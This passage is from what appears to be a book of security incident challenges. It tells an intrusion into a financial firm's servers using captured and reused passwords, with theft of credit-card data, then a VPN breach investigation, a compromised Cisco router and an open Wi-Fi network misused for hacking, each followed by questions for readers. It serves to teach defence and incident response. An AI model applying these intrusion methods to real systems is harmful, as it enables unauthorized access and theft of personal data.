“Umm…Peter, when are you going to check the mail server?” Dale moaned.

“Right now, Dale. I’m on it.”

As Dale slinked away, Peter logged into the mail server:
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Peter spent 10 minutes looking around and found nothing wrong. The spam filtering process was taking a little more RAM than usual, but nothing to be concerned about. Once again Dale proved his idiocy.

“Now time for some real work,” Peter thought aloud.
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“Ahh—that was the problem with logging in from work, I always use my work password,” Peter chuckled to himself

Peter fired up vi and began putting the final touches on the AI code for BugHunter.

TUESDAY, MARCH 22, 2005, 16:03

Lily rushed home from school to get started on her new server. She had a lot to learn about hacking, but 53rg10 was going to help her. She grabbed a beverage from the refrigerator and sat down to start poking around.
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“Hmm…a MMORPG about exterminators. That is going to do great!” Lily scoffed.

She decided to see if anyone else used the system:
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“Wow, just this uber boring Peter guy, not even good juicy e-mail from a girlfriend or anything.” Lily didn’t know much about MMORPGs but decided she should get all the source code in case it came in handy:
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“I will take a grep through those in a while,” she murmured. “Back to poking around.”

Just then, Lily recalled 53rg10’s comment about the logfile. Maybe that would turn up something exciting?
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“Ahh, that might be exciting!” Lily thought.

Peter had logged in from another machine. Maybe that machine would be more exciting. Lily decided to find out a bit more about the network the machine lived on.
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Lily’s heart began to race. MegaFinCo was a huge financial company. If she could get in there, 53rg10 would be impressed. Lily decided to install a network scanner on Peter’s box and take a look at the host to see if it had any obvious openings:
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“Looks like a mail server,” Lily thought. “Let’s see what SMTP server they are running.”
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“That’s pretty boring. Maybe the web server has something interesting?” She was disappointed as she saw Figure C11-1 in her browser window.
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Figure C11-1. Apache default page



 “That’s pretty lame. Not even any web mail.”

Lily then remembered the logged passwords that had been captured. She decided to give them a try:
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“Maybe the one that failed will work.…
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Lily got a chill up her spine. She was staring at a shell prompt on MegaFinCo’s mail server!

TUESDAY, MARCH 22, 2005, 17:10

Peter was done for the day. Time to pack up and go home. He chuckled a bit as he thought about what he had done today—nothing but write code for his own pet project. Dale would blow a gasket if he knew, but Dale was a moron. Peter jumped into his Civic and headed down 101 to work more on BugHunter. As he drove, he imagined one day soon he would be heading down PageMill to his big house in the hills.

TUESDAY, MARCH 22, 2005, 17:45

“Lily! Time to get ready for soccer practice!” Lily’s mom yelled. “You don’t want to be late!”

Lily was still in a state of shock. She had spent the past hour rummaging around one of MegaFinCo’s mail servers. This server appeared to be primarily used by developers. Lily hoped it would lead her to a pot of gold somewhere.

“Lily! Let’s go!” her Mom screamed.

“I’m coming, Mom!”

Further exploration would have to wait until after practice. That was fine; it would give Lily a chance to calm down and get a better plan in place. She knew she was already in MegaFinCo’s network, but she would need to get further to get some real prizes.

TUESDAY, MARCH 22, 2005, 20:36

Lily was exhausted from soccer practice but decided she had to keep poking around the MegaFinCo mail server, since she didn’t know how long her access was going to remain. She had spent time thinking about her strategy at soccer practice and decided the mail server had been scoured for all it was worth. It was time to attempt to move deeper into the network. Since it looked like Peter LemonJello reused his password, she decided to find all the e-mail to Peter with an IP address in it and on the same network as the mail server.
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Lily was pretty excited that she was putting that Unix class her dad made her take last year to good use.

“This one looks good,” Lily mumbled to herself.
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“Time to make 53rg10 proud,” Lily said, as she decided to try to access the dev server:
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Lily’s jaw dropped. She could not believe it actually worked.

“Lily, time for bed!” her mother shouted.

“OK, mom, just a few more minutes! I have another chapter to finish for homework!”

Lily thought this might be the only time she was going to have to grab the goods, assuming they were still there.
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Lily squealed with excitement. If this was the production database of a MegaFinCo server that processed credit cards, she was about to be famous with her friends. She quickly started the transfer.
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Just then 53rg10 popped online.
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Lily laid her head down on her pillow but didn’t fall asleep for several hours. She was going to be a new member in53rg10’s crew, and she knew the sky was the limit after that.

[image: images]   QUESTIONS

1. How did Lily collect all the credit card numbers she gave 53rg10?

2. What is the relationship between Peter’s game server and MegaFinCo?

3. Did Lily ever get root access on a MegaFinCo server?

4. What technical measures could be put in place on MegaFinCo’s network to prevent the compromise from occurring?

5. What policies could have put in place on MegaFinCo’s network to mitigate the compromise?


CHALLENGE 12

Share and Share Alike

by Phil Robinson, Information Risk Management Plc
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	Industry: 

	  Online Retail




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  Low




	Mitigation Complexity: 

	  Low







INCA, Inc., was a successful online retailer specializing in DVDs, CDs, books, and gadgets. Established during the dot com boom, it weathered the storm when the bubble burst and continued with solid growth year after year. With more than 200 employees working from its purpose-built offices in Gloucestershire, UK, and sales continuing to increase, the company’s future looked good. In fact, rumor had it that the company was planning to float on the stock market within two or three years, which meant that the staff who had been working since the beginning of the company might just realize a hefty reward for all their hard work.

On a hot summer’s day in August 2005, the unexpected happened: a journalist contacted INCA with details of a website that crowed about a compromise of the company’s networks alongside a trophy snapshot of a number of INCA customers’ private details.

FRIDAY, AUGUST 19, 2005, 09:03
 
Sam Evans was enjoying an extra hour in bed on Friday morning when his pager started bleeping. Looking over in dismay at the infernal device, he tried to control his frustration—why offer flexible working hours to the team if the company demanded attention all the time?

Sighing, he retrieved the gadget from his bedside cabinet and almost dropped it when he read the message: “Meeting 10 a.m.—Ella Stevenson’s office.” Ella was the company’s founder and managing director; she had worked hard to establish INCA as the number one online retailer in the UK.

More important to Sam, though, was the fact that he had rarely seen Ella Stevenson, never mind being asked to attend a meeting in her office. Quickly dressing and preparing for work, Sam tried to think of a reason why he might have received such a message. Most of his projects were running on schedule, the rollout of the new virtual private network (VPN) server to replace the old Linux solution was about to go ahead as planned, and the migration from NT4 to Windows Server 2003 and Windows XP had occurred before Microsoft ceased support on January 1. He had been working hard in his role as security administrator, and he couldn’t think of anything that would warrant a meeting with the head of the company.

FRIDAY, AUGUST 19, 2005, 09:55

When Sam arrived at work, everything seemed as usual, though he wasn’t really sure what “unusual” might look like given the circumstances. Sam relaxed somewhat when his boss, John Patrick, the security manager for INCA, greeted him with a smile and told him that they’d be heading together for the meeting.

Ella looked ashen when they took their seats in her office. She told Sam and John what had happened. At 9 o’clock that morning, a journalist had contacted the organization’s marketing department and pointed them in the direction of a website, http://zone-j.org. The site contained details of a breach of INCA’s security. Asking for comment, the journalists were interested in whether INCA’s customer details posted on the website (including names and credit card details) were real or a hoax.

Louise Smith from marketing and public relations had done an exceptional job of handling the call, and although it was the first time that INCA had heard about the problem, she told the journalist that the company was aware of the website, was conducting an investigation into the incident, and could not comment further until additional details were known.

The company’s management had been informed, and their first move was to enlist some help in identifying whether the details posted on the website were indeed INCA customers. The database administrator (DBA) carried out a quick search of the Oracle system and immediately confirmed that the details on the site perfectly matched the information held in the database. All 10 customers whose details were posted on the website were also identified within the database, and every corresponding credit card detail and expiry date was established to be correct.

Ella showed Sam and John a copy of the HTML from the zone-j site (Figure C12-1) that was stored on her computer and asked for clarification on what it meant. Sam explained that crackers often break into computer systems to show off their technical prowess and gain kudos among their so-called “peers” by posting “trophies” of their work. He speculated that since INCA was the UK’s largest online shopping mall, its customer database would be considered the company’s “crown jewels,” earning the cracker maximum points and probably a ticket to superstardom in the cracker community. (Realistically, however, it is more likely to earn him a trip to jail.)
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Figure C12-1. The HTML file taken from the zone-j website and stored on Ella’s computer



When asked about available options, John decided that a number of steps had to be taken.

He knew that local authorities and the UK’s National High Tech Crime Unit (NHTCU) should be made aware of the situation; they could at least take steps to ensure that zone-j.org remove the sensitive details from the site. “NHTCU will also provide valuable support for the investigation and assist in tracking the perpetrator. We also need to inform the customers’ credit card companies immediately, since their details had clearly been compromised,” he said.

Sam was asked to begin an investigation into the violation to determine how it had happened. He was pleased that he had recently attended an incident response handling course. Customer details had been posted externally, but he wondered whether the attack may have been assisted by someone on the inside. Had the Internet website been compromised? He’d had that penetration tested only last week—how had the details within the database made it onto the Internet? When did it happen, and were the intruders still roaming the network?

FRIDAY, AUGUST 19, 2005, 10:30

Sam returned to his desk and looked again at the crackers’ website. He was sure he would find clues that might help him focus the investigation. He noticed the date that the incident had been posted (Sunday, August 14, 2005). Assuming that this had not been faked (Sam thought this was unlikely as the website appeared to log the date the hack was reported automatically), it appeared that the incident occurred at least five days ago. The web page also contained details of the INCA server’s database architecture—it was indeed running on a Solaris system and the internal IP address within the page was also correct.

The information leak included details that would most likely have originated from the database. “So,” Sam concluded, “the obvious place to begin the investigation is the Oracle server.” He logged into the server and used the last command to identify who had recently accessed the system:

[image: images]

Nothing stood out as particularly unusual here, so he issued other commands, hoping to gain information that might help:

[image: images]

Sam was pleased that he had unearthed something so quickly. He was now confident that he might have located a link to the intrusion (a login from the VPN server). However, he still could not rule out the possibility that the attack may have involved someone from within the company. With respect to the Oracle account, Sam had acted on a hunch, which had proven true.

He was also surprised to find that the intruder may have made a slip-up, and had not cleared the login entry. He hoped to find out why by issuing more commands at the shell prompt:
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Now Sam had the answer as to why the cracker had not managed to remove the login entry from the logs, although he had certainly tried. Finally, Sam wanted to know the contents of the file that the cracker had accessed:

[image: images]

Sam couldn’t help but smile; perhaps the impact of the breach was not quite as bad as he first thought. Encouraged, he continued his investigation and moved onto the Linux VPN server:
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INCA had implemented an IPSec-based VPN server early last year, following pressure from employees who had been screaming for remote access to the office server. As indicated in the logfiles from the server, access was controlled to the system using X509 certificates; the security team was aware that these were more secure than trivial authentication, such as pre-shared keys. Also, using X509 in this way gave details in the logfiles of the certificate used to gain access to the VPN at that time, which was great for tracking system usage.

Sam marveled at how committed INCA’s employees were, working on a beautiful Sunday in August. He decided to continue the investigation, focusing around the times that he knew the intruder accessed the Oracle server. Accessing TRIBE (the INCA intranet) in his web browser, Sam did a telephone list search on Janice Henderson, a human resources manager who had recently joined the company and had been given her remote working connection only a few weeks ago. He set up a meeting with his boss and Janice, hoping that he could get to the bottom of how the incident had occurred.

FRIDAY, AUGUST 19, 2005, 22:35

As Sam unlocked his Audi to begin his short journey home, he couldn’t help but feel sorry for Janice. Even with his incident handling training, which had taught him always to keep an open mind and never to accuse anyone of anything until all the facts were known, poor Janice had burst into tears during the meeting. Following an inspection of her laptop, it was almost immediately clear that she hadn’t been responsible herself for the breach, but her computer had been the source.

To be fair, they had all played their parts in the incident, and a number of mistakes had been made—after all, people are only human. Due to the pressure everyone was under to deliver a VPN system, shortcuts were taken and weaknesses had been exploited that were now obvious in the configuration. Sam assumed that it was time for another round of security awareness training.

He had spent the remainder of his day putting together a report on the breach and examining other systems within the company’s network for evidence of intrusion. Janice’s X509 certificate had been revoked, and a plan was outlined for a reconfiguration of the VPN service.

Included within Sam’s report were two screenshots (shown in Figures C12-2 and C12-3) and a directory listing:
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Figure C12-2. IMESH5 was installed on Janice’s laptop.
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Figure C12-3. Local Users and Groups on Janice’s laptop
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[image: images]   QUESTIONS

1. How did the cracker know which organization to target?

2. Why did Sam have to run the last command twice?

3. Why hadn’t the cracker been able to remove the entry from the logfile on the Solaris system?

4. Which IP address did Sam pass onto the NHTCU to assist them in prosecuting the intruder?

5. Did the hacker have any experience with querying Oracle databases? Why might this have limited the potential impact of the attack to INCA’s reputation?

6. Given the output from Sam’s investigations on the Oracle server, what other security problems exist?


CHALLENGE 13

The Holy Grail

by Himanshu Dwivedi, iSEC Partners
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	Industry: 

	  Financial




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  High




	Mitigation Complexity: 

	  Moderate







SATURDAY, OCTOBER 21, 2005, 23:00

“You’re the Diet Coke of evil, just one calorie, not evil enough,” said Delia.

“Austin Powers: The Spy Who Shagged Me!” said Shreya, senior security architect at Gambling Financial.

“Correct!”

It was Saturday night on a cool and foggy evening in San Francisco. Shreya was hanging out with her friends while enjoying time away from work. They were all heavily engaged in the “quote game”—the players tried to cite and recognize quotes from funny movies.

Shreya’s cell phone rang. “Hello, this is Shreya.”

“Hello, Shreya, this is Pramod from the Network Operations Center. We just got a call from the CISO. Some of our analyses on the future of the tech market and its marquee companies have been leaked out to unauthorized parties. We think there’s been a breach in security and are seeing a large number of attacks on all our perimeter routing devices.”

“Are they targeting solely routing devices, like Cisco routers?” asked Shreya.

“Yes—interestingly, the attacks are not targeting the application or servers behind your network devices, but the routing devices themselves.”

“OK, I think I know what it is,” Shreya said, as she hung up the phone. Shreya knew about a major Cisco Security flaw released at Black Hat 2005 by Michael Lynn. She also knew that no exploit code was released for it yet, but everyone was trying at DefCon, and something may have surfaced since then.

Shreya definitely didn’t want to see any exploit code for this major Cisco security flaw, but as a security researcher, she really didn’t like how some companies dealt with security issues and the researchers who found them. However, she was able to negotiate a discount from Cisco when they were implementing the VoIP phones back in August, making up for the fact that the flaw was causing her some extra weekend time because she had to upgrade the Internetwork Operating System (IOS) on all her vulnerable Cisco routers.

“Get your resume ready for what? Another job where they can fire you for no reason? That’s right! If I’m lucky,” said Delia.

“Office Space!” cried Shreya, as she left her friend’s house and headed back to the office.

Shreya managed the security for most of the Cisco gear at Gambling Financial, a new age financial organization that had decided to stop lying to customers seeking financial advice. Unlike more traditional financial organizations, Gambling Financial gave out odds on how well a company’s stock would do based on the past performances and future predictions. It was the first company to admit that the stock market was just like gambling—why not treat it like Vegas and give out odds instead of market recommendations? The security of Gambling Financial’s network had to be near perfect. Any information leaked about a company before the SEC allowed such information’s release would be a disaster. This would not only cripple the company’s business, but it would provide negative ammunition to the company’s counterparts in the industry.

Shreya made yearly trips to Las Vegas for the Black Hat security conference to learn more about how to get investors to gamble with their money on the stock market. The last Black Hat conference was dominated by the Cisco security flaw, but she also learned about other things, especially at the Attacking Web Services and iSCSI Security presentations.

On her flight back from Vegas that year, it was back to work for Shreya. On the plane, she began to compile a list of network devices that she thought might be running older IOS code and might be vulnerable to the Cisco security flaw. The list was quite long and included about eight devices on the perimeter and another twenty internally.

Unlike operating system or application upgrades, upgrading IOS code was not something she wanted to do every day. While the issue of not upgrading until some exploit code was released did cross Shreya’s mind, she knew that would be a bad idea. The same line of thought got a lot of organizations in trouble when SQL Slammer was released. The worm was released a full six months after the vulnerability was reported and a patch was available; however, many companies did nothing about it until Slammer was released. Shreya didn’t want her network to be another statistic. She knew she would need to update her routers right away and not wait for a potential worm. She had a lot of routers to take care of when she got home. Many routers were going to need patching that weekend because of the information she learned at the Cisco presentation, but she was glad to do the work, because she knew her time was well spent. If they weren’t patched, it could mean that every mafia and/or terrorist organization could exploit the vulnerable routers for profit.

While driving to the office after Delia’s party, Shreya was happy that she’d made the effort after Black Hat to upgrade all her perimeter devices. If something had happened, she knew that her equipment was safe.

SUNDAY, OCTOBER 21, 2005, 00:34

Shreya arrived at her office, booted up her laptop, and began her work. She downloaded the tool CiscoIPv6check from iSEC Partners to recheck her routers for the Cisco security flaw. This tool was created specifically for administrators to check whether a router was vulnerable to the Cisco security issue found by Michael Lynn. Since it was created for administrators only, the tool didn’t attack a router to see if it was vulnerable, but rather looked at its configuration information (an inside-out look) to check for vulnerabilities. Shreya liked using this method to check for vulnerabilities because it ensured that administrators could check to see if their routers were vulnerable while preventing attackers from accessing the same information. Also, it would not affect the functionality of the router, preventing an accidental Denial of Service attack with possible test or proof-of-concept code.

She began by running the tool on some of her perimeter routers:
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She continued to check the other seven routers on the company’s perimeter, where all data routed in or out of the network. While shek new she had upgraded all of them and had run this tool back in August after Black Hat, she wanted to make sure there were no issues. Plus, she knew it was always a good idea to show the auditors that periodic security checks took place.

Her next step was to call the company’s network operation center (NOC) and ask them to check the company’s non-data routers on the perimeter, such as the wireless access points, the Voice over IP (VoIP) routers, and the storage routers. While the company took security seriously, the security department had included accounts on perimeter routers for data networks only due to internal politics.

Shreya’s desk phone rang from a blocked ID number. “Hello, this is Shreya.”

“Look, kids! Big Ben! Parliament!”

“European Vacation!” Shreya cried. “Give me something harder next time and stop bothering me, I’m working!” she added jokingly.

“OK,” said Delia. “Every minute you don’t tell us why you are here, I cut off a finger. Mine or yours? Yours.”

“Spies Like Us,” Shreya answered, before she said goodbye to her friends.

Seven minutes later, Shreya’s desk phone rang again, but this time the ID showed it was from a 000-012-3456.

“Hello, this is Shreya.”

“Hello, Shreya. We ownz yo network. We will only release it for lots and lots of cash money. You will get instructions on where to leave the bling bling on the road to Dushambay! Ha ha ha!”

Shreya had received plenty of prank calls from wanna-be crackers. But this was actually a new trend, phishing the company itself. Instead of doing the cracking, attackers these days were making threatening phone calls and sending e-mails to see if the company would bite simply to avoid the PR problems that could result from a hack. The downside of it was still an upside for attackers. Plenty of IT security departments had to react to every possible issue, wasting endless hours on just a bluff. While she ignored most calls like this in past, this one struck a chord with her. She knew this was no bluff.

Knowing that the system had been compromised somewhere, Shreya started with the firewall logs. Gambling Financial used Juniper’s NetScreen firewalls on its network perimeter, behind its border Cisco routers. Gambling Financial had a defense-in-depth philosophy, using both access control lists (ACLs) on the border routers and corresponding firewall rules on the perimeter filers. Shreya logged into the web management console over HTTPS and began to search the logs for anything out of the ordinary. The logs showed plenty of communication, but mostly web activity using HTTP and HTTPS, as shown in Figure C13-1.
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Figure C13-1. Juniper NetScreen firewall log



The next thing she wanted to check was the Secure Shell (SSH) servers sitting in the DMZ. Gambling Financial implemented SSH for remote management purposes using two-factor authentication (public and private keys with a passphrase), but only from specific external IPs (65.170.137.0/24). While this was a long shot, she wanted to check them anyway. The SSH servers that Gambling Financial used were VanDyke Software’s VShell. The following shows the logs from VShell:
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Shreya attempted to call the NOC again to ask if they saw any thing unusual. She lifted the handset of her desk phone and dialed the number. But she heard nothing; it seemed like the phone was not ringing at NOC. She hung up and attempted again; however, she noticed she was not hearing any ring tone.

“This is not good,” Shreya said to herself.

She walked across to the street to the NOC. Apparently, all the phones in the company were not working. A ticket had been opened. Shreya was pretty sure this was related to the security attack, but she knew she didn’t have much to go on yet. She gathered the NOC personnel and began a plan of attack to find the compromised device.

Her plan was to verify every routing device on the perimeter, including data, voice, wireless, and storage, to see if anything had been compromised. To accomplish the goal, they would check security of the following items:

[image: images] Search network traces for heap overflows against perimeter routing devices. (The IPv6 vulnerability discussed at Black Hat 2005 was a heap overflow issue.)

[image: images]  Ensure Cisco Discovery Protocol (CDP) and Simple Network Management Protocol (SNMP) are disabled. (This would prevent anonymous enumeration or router versions.)

[image: images]  Ensure egress filtering is enabled. (Outbound connections should be limited to 80 [HTTP], 443 [HTTPS], and DNS [53].)

[image: images]  Check the version numbers. (Ensure the IOS was not running a vulnerable version of IOS.)

SUNDAY, OCTOBER 22, 2005, 02:45

Checking for heap overflows from the external network was not a fun task, since the external network was always full of viruses, worms, zero-day attacks, and of course every heap and stack buffer flow exploit one could think of. The process slowly dissolved into a bad idea for Shreya. She shifted her strategy, and instead of looking from the outside-in for the vulnerable router, she decided to look from the insideout. She knew that this strategy often got real results; however, it usually took longer than the other way around. While security groups usually relied on scanners to find issues quickly, often the abundances of false positives made finding an issue a long process. That’s why Shreya decided to look at each configuration of the routers she thought might be suspect, in order to shed some light on the issue.

Shreya knew that ensuring that CDP and SNMP were disabled was very important. CDP is a propriety protocol developed by Cisco for its routers. If it is enabled, CDP sends packets to the multicast MAC address of 01:00:0C:CC:CC:CC on the network, which means every node on the network can see/view the packets. These packets contain information about the router and adjacent network, including router version information, its IP address, and its possible functionality. Since CDP is clear text and sends packets to the multicast address, every node on the network can see what version an IOS router is running, which is great ammunition for a possible attacker. SNMP is also a clear text protocol that leaks all types of configuration information. While it is not multicast, it does send all the information over clear text (SNMPv1), which allows an attacker to sniff the network and gain valuable information about the router.

Shreya thought that CDP was a higher security threat, since it was easier to receive CDP packets from external networks than SNMP packets. To ensure that CDP was disabled, Shreya had to make sure that it was disabled on each interface of a router. Unlike some global commands on Cisco routers, some settings have to be applied to each interface, allowing CDP to be enabled on some interfaces and not on others. To disable CDP, the command needed to be applied to each interface, like so:
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Shreya started to log into each router and ensure that CDP was disabled. After a while, she saw a router that troubled her. When she logged into a router called voice.border.gambling.com, she received the following configuration information for its interfaces:
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Shreya then looked at the egress filters of the router, which was noted by access list 102 for outbound connections:
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Lastly, Shreya needed to check the IOS version of voice.border.gambling.com. She typed the show version command, which gave her this information:
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Based on all the information from the router, as well as the events that had transpired on the network, Shreya had a good idea of what had happened. Anytime a node is compromised, the following sequence of events is launched: Enumerating a target; detecting the version of the target; finding and using exploit code or tools against the target; and then compromising the target.

[image: images]   QUESTIONS

1. How did Shreya know the phone call from the attacker was not a bluff?

2. What information did the firewall and VShell logs show?

3. What was wrong with the interface configuration information?

4. What was wrong with the egress filters?

5. What was wrong with the Cisco IOS version?

6. What router was compromised? What evidence leads you to believe this?


CHALLENGE 14

Open Source

by David Pollino
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	Industry: 

	  Small Business




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  Easy




	Mitigation Complexity: 

	  Easy







Jay lived in a vacation community in the Sierra foothills of California, where he ran a property management company that provided services for owners of apartment buildings and shopping centers, and some homeowners’ associations. One of the associations that his company ran was located in the community where he lived.

In Jay’s resort community, only about 25 percent of the property owners were permanent residents. The community offered many features for vacationers—a golf course, a ski hill, an equestrian center, tennis courts, and a pool. Located in the center of the development was a clubhouse. Many years ago, the clubhouse was a popular place, where movies were shown and clubs met on a regular basis. It also had a popular restaurant. Lately though, not many vacationers used the clubhouse. The nearby town had grown as tourism increased and more vacation homes were built, and many great restaurants opened downtown, so the clubhouse restaurant closed due to lack of business. People started renting movies to watch at home, and clubhouse visitors evaporated.

The clubhouse was still an attractive facility, with a large common area near a huge fireplace that could be used by the vacationers. During the winter, a raging fire added to the warm decor. A cache of games were free to use, and a community bulletin board posted business cards that advertised services.

Last year, a high-speed wireless network was installed in the clubhouse to provide Internet access. Now it was common for a dozen or more of the association members to gather in the clubhouse with their laptops. Some spent the day with their mobile phones, conducting business. Others surfed the Net. Although the clubhouse was open only during the day, it was not uncommon to see vacationers sitting outside using the Internet after hours.

Jay had always been an early adopter of technology, even though property management was not a field in which technology was normally adopted quickly. Many of his clients did not communicate using e-mail. With the help of his IT guy, Piero, Jay had set up the clubhouse network. It was a simple design, as shown in Figure C14-1. Jay struck a deal with the local Internet service provider: the high-speed access was free to the association as long as the provider could advertise in the clubhouse.
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Figure C14-1. Clubhouse network design



The design goal was to provide a new service for the community without adding any substantial costs to the association to support the new infrastructure. After all, just because the access was free did not mean that the network would not cost the homeowners’ association. A minimal power requirement was necessary, and support issues were required, so to help vacationers get connected, Jay posted a flyer in the building (Figure C14-2).


Wireless Internet Instructions
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Set your PC or Mac’s wireless card to use the SSID of “Lodge”. This network supports wifi cards with the technology of 802.11b or 802.11g. Set your computer’s IP address to “Automatic” or to “Use DHCP”. A network address will automatically be given out. Some devices will require a reboot. We cannot offer technical support and there is no guarantee of service. The network is limited to 16 concurrent clients with shared bandwidth of 768k. Have fun!




Figure C14-2. Clubhouse guest network flyer



FRIDAY, AUGUST 26, 2005, 02:00

Jay’s mobile phone rang in his Italian hotel room. Stumbling across the dark room, he stubbed his toe on an unfamiliar piece of furniture. Jay was enjoying a vacation in Italy. When he traveled, he always purchased a prepaid mobile phone for “emergencies only”—this must be an emergency. He’d been back at his hotel room for only an hour, but he’d fallen into a deep sleep.

“Hello,” Jay mumbled.

“Sorry to call so late.” It was his administrative assistant, Angie. “The FBI is here to see you.”

After hearing that, Jay was wide awake. “What could the FBI possibly want?”

“They are investigating a kid down the street. He hacked into the school computer and posted some offensive material about another student. It was all over the news last week. Evidently he used our network.” Jay could tell from her voice that Angie was nervous. “They call it ‘cyber-bullying.’ Anyway, they say that we have nothing to worry about, but they need to take our office computer with them, and they need you to sign a search consent.”

“They want to take our computer? Can I talk to them?” Jay was sure that this was a misunderstanding.

Jay proceeded to talk with Special Agent Pat McMurphy of the FBI. “The FBI has a slam-dunk case against a teen down the street. Apparently, he used the open wireless network at the clubhouse to break into the school computer to post some offensive material about a fellow student. The evidence retrieved from the alleged perpetrator’s computer led us believe that we would find additional evidence on your office computer,” McMurphy said.

The office computer was the only permanent machine on the clubhouse network. It was used to print out property owner identification badges, create newsletters, and track the billing for the association dues. The FBI wanted to examine the computer to make sure they had all the evidence. Jay was hesitant to let the computer go. It contained the only copy of the data for the homeowner’s association. Agent McMurphy explained that the data would not be altered and the computer would be returned in a couple of days.

Jay agreed to sign the consent form that was faxed to the hotel in Italy. He signed it, and faxed it back. Jay didn’t normally sign legal papers without consulting his lawyer, but this was simple and he knew that the association was not doing anything illegal.

Jay was troubled by the incident, and it ruined the rest of his vacation. The office would be useless without a computer, but at least it was the slow time of the year. The summer season was almost over, and the winter season was a couple months away. “It’s a good thing this didn’t happen at a busier time of year,” he told Angie. “I’ll be back next week, and then I’ll sort it all out.”

SUNDAY, AUGUST 28, 2005, 03:43

During the return trip from Italy, Jay called Piero from his layover at Dulles Airport. “You will never guess what happened!” Jay challenged Piero.

“I already talked to Angie. That is very unusual,” Piero answered.

“Can you go by the clubhouse and turn off the wireless network? Tell Angie to post a sign that the network is being repaired.” Jay ended the call.

Jay arrived back home late that night. He drove by the clubhouse, expecting it to look different somehow, but everything was exactly how he left it.

TUESDAY, AUGUST 30, 2005, 10:10

Jay met Agent McMurphy to get his computer back. Jay had a lot of questions for McMurphy, but the agent did not have a lot of answers. He was not technical-savvy, and the “real” technical expert was back at the FBI lab. McMurphy took Jay’s card and said, “I’ll have someone from the lab give you a call. Thanks a lot for your cooperation. By the way, you should know that a new California law requires that you notify your clients if their personal information was accessed by an unauthorized party—it’s California Senate Bill 1386.”

“What does that mean?” Jay inquired.

“You should talk to your lawyer, but in a nutshell, if you have reason to believe data on a computer was accessed by an unauthorized party, and the data contains non-public information, like a Social Security number or driver’s license number with name, then you have to tell your clients about the breach. But if the information is encrypted, you don’t have to tell your clients. Thanks again for the help!” the agent called as he walked out the door.

Jay was happy to have his computer back, but now he was afraid to use it. On top of everything else, he had to figure out a new California law. He needed to call his lawyer. He needed to recover the data on the machine and get the office functioning again.

Piero and Jay met at the clubhouse later that morning. Piero worked in a time and materials basis, so he was always happy to help out Jay.

“First,” Jay instructed, “go buy a new computer. Keep it under $1000 with tax. Install it in the office and get Angie back up and running. Then get the old data off the old computer and transfer it to the new computer. Also, we need to figure out a way to regularly back up our data offsite. Get a tape drive or something. Then figure out if any Social Security numbers or driver’s license numbers are on the computer.”

“Most of that I can get done today, but I am not a security expert. I have a friend that works at a local bank. He’s their forensics investigator. He can help get the old data and find out what happened,” Piero explained.

“Let’s keep the costs down. The association will be paying for this, and I don’t want to explain a major expenditure,” Jay said. He was a businessman and knew that he needed to explain that up front or Piero may send him a huge bill.

“Here is my friend Joe’s number,” Piero said, as he wrote a number on the back of his business card. “Give him a call, tell him that he will be working with me, and work out a price. Then it will be between you two.” Piero headed off to buy a new computer.

Jay called Joe, the forensics expert, and arranged to have his computer examined that evening. Joe would be coming out after work. He was really more interested in tee times and buckets of balls than monetary compensation. Jay arranged for a barter of some golf activities to pay for Joe’s time for two evenings to get to the bottom of the breach.

Piero spent the day getting the office computer up and running. The wireless network was still down, but at least Angie could issue badges and accept payments. They had a paper copy of just about everything, so they were functional, even though the data was still on the old computer. Piero purchased an external hard drive and set up a weekly backup. Angie would keep the hard drive in her car, so if something like this happened again or if the computer was stolen, they would have a recent copy of the data.

Joe arrived at the clubhouse later that evening and met with Jay and Piero. Jay explained the situation and the comments about the new California law. Joe was familiar with the law, for he had recently worked to set up the breach procedure at the bank. During the meeting, Jay received a call from the contact at the FBI lab. Jay handed the phone to Joe and they spoke.

Joe asked a few questions, wrote down some information, thanked the person from the lab, and gave Jay the phone. The FBI contact let Jay know that Joe had everything he should need, and he said that Agent McMurphy would contact Jay if they needed anything else.

Piero and Joe were busy with their project, and Jay was suffering from jet lag and not interested in watching the geeks recover the data. “I’m going home. Call me when you finish for the night and give me an update.” Then Jay went home.

Joe took out his laptop bag. It was full of tools, cables, and connectors. “We’ll be doing all this with my personal tools and software. I can’t use our corporate software, though, because it only works when connected to our network. We can use open-source and freeware tools, though. Those should be good enough for this effort,” Joe said to Piero.

Joe removed the hard drive from the compromised computer. Then he fired up his laptop and took some cables out of his bag. “This is a write blocker. It will let us copy the data off the hard drive without modifying it. Normally, we’re concerned with preserving evidence, but in this case, the write blocker will prevent us from damaging any of the data. I don’t know if there is any malware on this machine. First, I’ll grab your important files with this write blocker attached, and then I’ll make a copy of the hard drive on my laptop using some open-source tools. Then we can examine it to find out what happened, and see if we have any breach notification issues. We will create a forensics image, just in case we might need it later.”

They immediately went after the data files used by the association. These were relatively small files. Joe’s laptop was booted up in Windows XP, and he used the write blocker to connect the hard drive. He copied the files to a USB thumb drive. Piero took the drive and disappeared into the office. He loaded the recovered data on to the new office computer. “Angie should be ready to go in the morning,” Piero announced when he returned.

Joe rebooted his machine using an open-source forensics disk. He started a local drive acquisition. “This will create an entire copy of the hard drive, including empty space. It will take a few hours to finish creating the image. I’ll look at it tomorrow, and we can finish up tomorrow evening.” Joe made arrangements to leave his laptop in a locked closet and to return the next day after the data was copied. “Also, I’d like to talk to the office staff tomorrow. I need to find out what kind of information they normally gather, so I can find out if we have a disclosure issue.”

WEDNESDAY, AUGUST 31, 2005, 16:30

Joe arrived at the clubhouse about 30 minutes before the office closed. “What kind of information do you gather on your clients?” Joe asked Angie and Jay.

“Each property has a lot number,” Angie explained, as she walked over to the wall and pointed at a large map of the development. “See, there’s a phase and property number, and we use the combination to uniquely identify each property. Here is Jay’s house, phase 4, property 27. His number is 4027.”

Jay continued, “That number is used to identify the property owners. We track it all in that Access database that you copied yesterday. The property address never changes, but that is the only static data field. We track the property owners, and since many do not live at the property, they have a separate billing address. There are four fields for the identified owners for badges. Only four property owners can get a badge; it’s used for discounts at the club facilities. Then we track the payments.”

Angie pulled an application out of the file. “Everything starts on paper. This is what I was using when the computer was gone.”

“Is this all the information that you gather?” Joe asked.

“Yes, other than the picture that we take of the individual for creating the ID badge,” Angie said.

“Then you don’t have anything to worry about,” Joe answered, and pulled out a printed copy of the California disclosure law. “You don’t gather Social Security numbers, driver’s license numbers, or account numbers with a password that can be used for financial transactions. You should probably have your lawyer review the application and the law. You can keep my copy. I don’t think the information that you collect here is anything more than a phone book with this other publicly accessible data,” Joe said as he pointed to the map on the wall.

